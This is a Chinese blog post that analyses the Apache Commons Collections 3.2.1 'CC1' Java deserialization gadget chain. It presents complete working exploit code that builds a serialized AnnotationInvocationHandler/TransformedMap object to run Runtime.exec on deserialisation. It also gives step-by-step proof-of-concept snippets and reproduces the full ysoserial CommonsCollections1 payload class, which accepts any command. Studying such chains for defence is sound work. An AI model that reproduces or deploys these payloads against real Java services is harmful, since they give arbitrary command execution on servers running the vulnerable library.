前言
好几天没发博文了,偷偷憋了个大的——CC1链分析,手撸了一遍代码。虽然说,这个链很老了,但还是花费了我一段时间去消化吸收,那么接下来,我会简洁的介绍下整个链的利用过程,还有哪些不理解的地方,xdm可以评论区一起讨论学习一下。
环境准备
Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
CommonsCollections版本:3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
其次,sun公司代码为反编译后的class,不能进行调试分析
Java8u65对应的源码https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
jdk-af660750b2f4\src\share\classes\sun
把Java环境中的src.zip解压为jdk1.8.0_65\src,放入sun文件夹
至此,环境搭建好了,开始调试分析。
CommonsCollections–CC1链分析
先贴一下完整的代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
serialize(object);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
- 先讲一下漏洞利用点,
InvokerTransformer.transform方法对传入的参数对象进行了反射调用,即能够调用任意对象执行任意方法,进而导致命令执行Runtime.getRuntime().exec("calc");
。
按照源码的逻辑,写一下简短的POC:
Runtime runtime = Runtime.getRuntime();
Class runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");
即在InvokerTransformer构造方法中传入对应的参数就可命令执行
Runtime没有继承Serializable类,无法进行序列化,但是Class类继承了Serializable类,那么将Runtime进行反射调用即可
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
其中有很多细节,ChainedTransformer类的transform方法能够批量执行数组的transform,即调用数组中每一个对象的transform。
对于new ConstantTransformer(Runtime.class),则可以说是精髓,因为后文中的值不能被直接利用,而ConstantTransformer传入的参数为常量,不可被改变,即被调用的是我们传入的想要的值。
- 再想先讲一下漏洞触发点:反序列化漏洞,最主要的还是要readObject()函数,那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。
InvokerTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
AnnotationInvocationHandler.readObject()
简单写一下漏洞POC:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
这里Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
TransformedMap继承了AbstractInputCheckedMapDecorator,而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口,AbstractInputCheckedMapDecorator重写了entrySet方法
且map.put("value", "value");
的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
的Target.class方法一致,不然if判断不过关,无法继续往下执行。
本文和ysoserial的CC1链略有差别,ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java,感兴趣的xdm也能再看下ysoserial的CC1链。
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
暂时就先写这些,文笔不太好,有些地方讲的不太清楚,可以看下bilibili的百日梦组长的讲解,放到了参考链接下面,也可以在评论区讨论一下,一起学习。
参考链接
Java反序列化CommonsCollections篇(一) CC1链手写EXP